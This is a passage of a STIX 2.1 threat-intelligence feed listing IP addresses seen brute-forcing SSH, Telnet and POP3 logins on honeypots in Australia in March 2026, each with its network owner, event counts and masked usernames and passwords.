      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 482. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, o****e, p******s, t**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--bf6150fb-c489-4d9a-871f-330f892a2ae7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.244.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:15:13.000Z",
      "valid_until": "2026-04-04T17:15:11.000Z"
    },
    {
      "created": "2026-03-03T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): n******y@bardengineering.com, p********r@bardengineering.com. Passwords observed (masked): b******************!, p*************5.",
      "id": "indicator--e585073c-9469-4585-ac0f-9b9019590bdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.231.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:15:13.000Z",
      "valid_until": "2026-04-04T17:15:11.000Z"
    },
    {
      "created": "2026-03-03T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): i**o@kelltech.dev, s***s@kelltech.dev. Passwords observed (masked): P*********3, k***********!.",
      "id": "indicator--7a34770b-ab35-4508-a9c4-1b7080ecdc83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.253.248.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:15:13.000Z",
      "valid_until": "2026-04-04T17:15:11.000Z"
    },
    {
      "created": "2026-03-03T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1a77d07a-ba8f-4cbb-845f-33a9c4ab9a5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:15:13.000Z",
      "valid_until": "2026-04-04T17:15:11.000Z"
    },
    {
      "created": "2026-03-03T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--ee50b06c-37dd-403d-8eb1-adcdbe082b2a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.189.131.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:15:13.000Z",
      "valid_until": "2026-04-04T17:15:11.000Z"
    },
    {
      "created": "2026-03-03T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--ecd9592b-80c7-41d7-8a96-6a3179859360",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '36.226.0.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:15:13.000Z",
      "valid_until": "2026-04-04T17:15:11.000Z"
    },
    {
      "created": "2026-03-03T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd.",
      "id": "indicator--aca9cd00-e325-4d36-98b8-edde898b42f3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:15:13.000Z",
      "valid_until": "2026-04-04T17:15:11.000Z"
    },
    {
      "created": "2026-03-03T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 366. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, u****u, c****s. Passwords observed (masked): 0****0, 1****1, ***, 1****3, 1**4.",
      "id": "indicator--f6b021ad-1559-43fc-8b05-9276d85f8348",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.23.143.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:15:13.000Z",
      "valid_until": "2026-04-04T17:15:11.000Z"
    },
    {
      "created": "2026-03-03T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): i**o@bardengineering.com, w*******r@bardengineering.com. Passwords observed (masked): B******************#, b*****************3.",
      "id": "indicator--4bbc3302-4a99-4143-a57c-da4361bdf604",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.23.160.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:15:13.000Z",
      "valid_until": "2026-04-04T17:15:11.000Z"
    },
    {
      "created": "2026-03-03T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11351. Organisation(s): Charter Communications Inc.",
      "id": "indicator--6da6ee9e-cc89-4d25-a945-ea7961438779",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.66.163.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:15:13.000Z",
      "valid_until": "2026-04-04T17:15:11.000Z"
    },
    {
      "created": "2026-03-03T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: QA. ASN(s): 8781. Organisation(s): Ooredoo Q.S.C.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1***********y, 3***********4, 3**********4, A*******., A*******4.",
      "id": "indicator--07ecdfda-1459-4ddd-8afb-049a54a9689f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.100.233.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:15:13.000Z",
      "valid_until": "2026-04-04T17:15:11.000Z"
    },
    {
      "created": "2026-03-03T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): Z******6, **.",
      "id": "indicator--213f4b8f-8531-40da-8ee7-d0a5bc7149bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.193.176.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T18:15:13.000Z",
      "valid_until": "2026-04-04T18:15:11.000Z"
    },
    {
      "created": "2026-03-03T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): a***n. Passwords observed (masked): 1****6, a***n, a*******4.",
      "id": "indicator--9eb2edb9-d50d-433c-92f6-26d06af5ff30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '125.141.84.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T18:15:13.000Z",
      "valid_until": "2026-04-04T18:15:11.000Z"
    },
    {
      "created": "2026-03-03T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t. Passwords observed (masked): s*****a.",
      "id": "indicator--a6fc7525-fdd5-49a8-9dd5-7c553fd98f10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '13.71.92.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T18:15:13.000Z",
      "valid_until": "2026-04-04T18:15:11.000Z"
    },
    {
      "created": "2026-03-03T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 102. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--f7102020-a896-479b-bf24-2f43395f2aef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.202.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T18:15:13.000Z",
      "valid_until": "2026-04-04T18:15:11.000Z"
    },
    {
      "created": "2026-03-03T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 105. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, P******d.",
      "id": "indicator--a754de3b-0965-416b-a863-f7d4866f82dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.209.82.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T18:15:13.000Z",
      "valid_until": "2026-04-04T18:15:11.000Z"
    },
    {
      "created": "2026-03-03T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 4235. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, d****y, u****u, u**r, f*****r. Passwords observed (masked): 1****6, ***, p******d, P******d, 1******8.",
      "id": "indicator--569b7ade-8c08-4a2c-8e38-5d4585b63721",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.110.150.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T18:15:13.000Z",
      "valid_until": "2026-04-04T18:15:11.000Z"
    },
    {
      "created": "2026-03-03T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--ac231a55-5f25-4948-9dfc-fe87d18329ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.2.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T18:15:13.000Z",
      "valid_until": "2026-04-04T18:15:11.000Z"
    },
    {
      "created": "2026-03-03T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 88. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, a***********r, t***1. Passwords observed (masked): 1****6, P******d, a***n, a******3, a*******6.",
      "id": "indicator--2cd2ef36-da2f-4f22-a346-34187abdf3e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '207.154.195.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T18:15:13.000Z",
      "valid_until": "2026-04-04T18:15:11.000Z"
    },
    {
      "created": "2026-03-03T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--e06ceedf-30d2-489e-a76b-4d6807925e92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '223.123.43.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T18:15:13.000Z",
      "valid_until": "2026-04-04T18:15:11.000Z"
    },
    {
      "created": "2026-03-03T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, a***********r, **, u**r, u***3. Passwords observed (masked): 1**4, , !******s, 0**3, 1******X.",
      "id": "indicator--82d857a3-1d9a-4f4b-a784-6578166e7797",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T18:15:13.000Z",
      "valid_until": "2026-04-04T18:15:11.000Z"
    },
    {
      "created": "2026-03-03T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ES. ASN(s): 206076. Organisation(s): Ingenieria y Suministros Profesionales, S.L.. Usernames observed (masked): r**t. Passwords observed (masked): 2**4, a******4, a******8.",
      "id": "indicator--553bbd7b-ea95-4d38-83d8-7baed8917879",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '46.253.45.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T18:15:13.000Z",
      "valid_until": "2026-04-04T18:15:11.000Z"
    },
    {
      "created": "2026-03-03T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 208637. Organisation(s): 4 Vendeta Ltd. Usernames observed (masked): a***n. Passwords observed (masked): a******3.",
      "id": "indicator--2b4b297f-8d09-46b3-b92d-e675cc03224b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.128.112.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T18:15:13.000Z",
      "valid_until": "2026-04-04T18:15:11.000Z"
    },
    {
      "created": "2026-03-03T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--cc00728c-0986-4667-bed4-381d71c0ca04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.14.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T18:15:13.000Z",
      "valid_until": "2026-04-04T18:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--d39a92a3-5ae1-4017-80ba-10c97aec1599",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.36.104.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 38253. Organisation(s): Hanoi Telecom JSC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1********3, 1*********t, 3***********4, 3**********4, 4****2.",
      "id": "indicator--d9821baf-7c43-4bfa-9de6-7fb2145179b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.172.236.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 136. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******A, 3***********4, 3**********4, A***********@, A******8.",
      "id": "indicator--85848156-1826-4a23-b2d6-02e588231231",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.59.94.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 206. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1******R, 1******2, 4********2.",
      "id": "indicator--8f2c2c3d-c984-44db-b993-653cc5a709a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '110.238.110.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 176. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BD. ASN(s): 17806. Organisation(s): Tire-1 IP Transit Provider of Bangladesh. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******z, 8****7, B********3.",
      "id": "indicator--6e16c9b9-e87e-4864-930d-34cd148e1404",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '114.130.85.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3994c51a-01eb-429b-9a57-2aab18cb12ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '115.210.238.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 126. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49981. Organisation(s): WorldStream B.V.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, !******z, 8****7, B********3.",
      "id": "indicator--84349263-d16b-4d04-bd30-cf08abeea5b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.132.4.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45903. Organisation(s): CMC Telecom Infrastructure Company. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, R******#.",
      "id": "indicator--6bac5793-e210-438e-a6f5-e2a633dd0ad2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.91.11.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1**********z, 1******z, 1************3, 3***********4, 3**********4.",
      "id": "indicator--63ecf326-9828-4efe-b1e1-cb7399f04041",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.196.9.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
      "valid_until": "2026-04-04T19:15:11.000Z"
    },
    {
      "created": "2026-03-03T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22, 443. Source country: DE. ASN(s): 60729. Organisation(s): Stiftung Erneuerbare Freiheit.",
      "id": "indicator--12bf6a79-6585-457c-985c-42e4d05cd3c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T19:15:13.000Z",
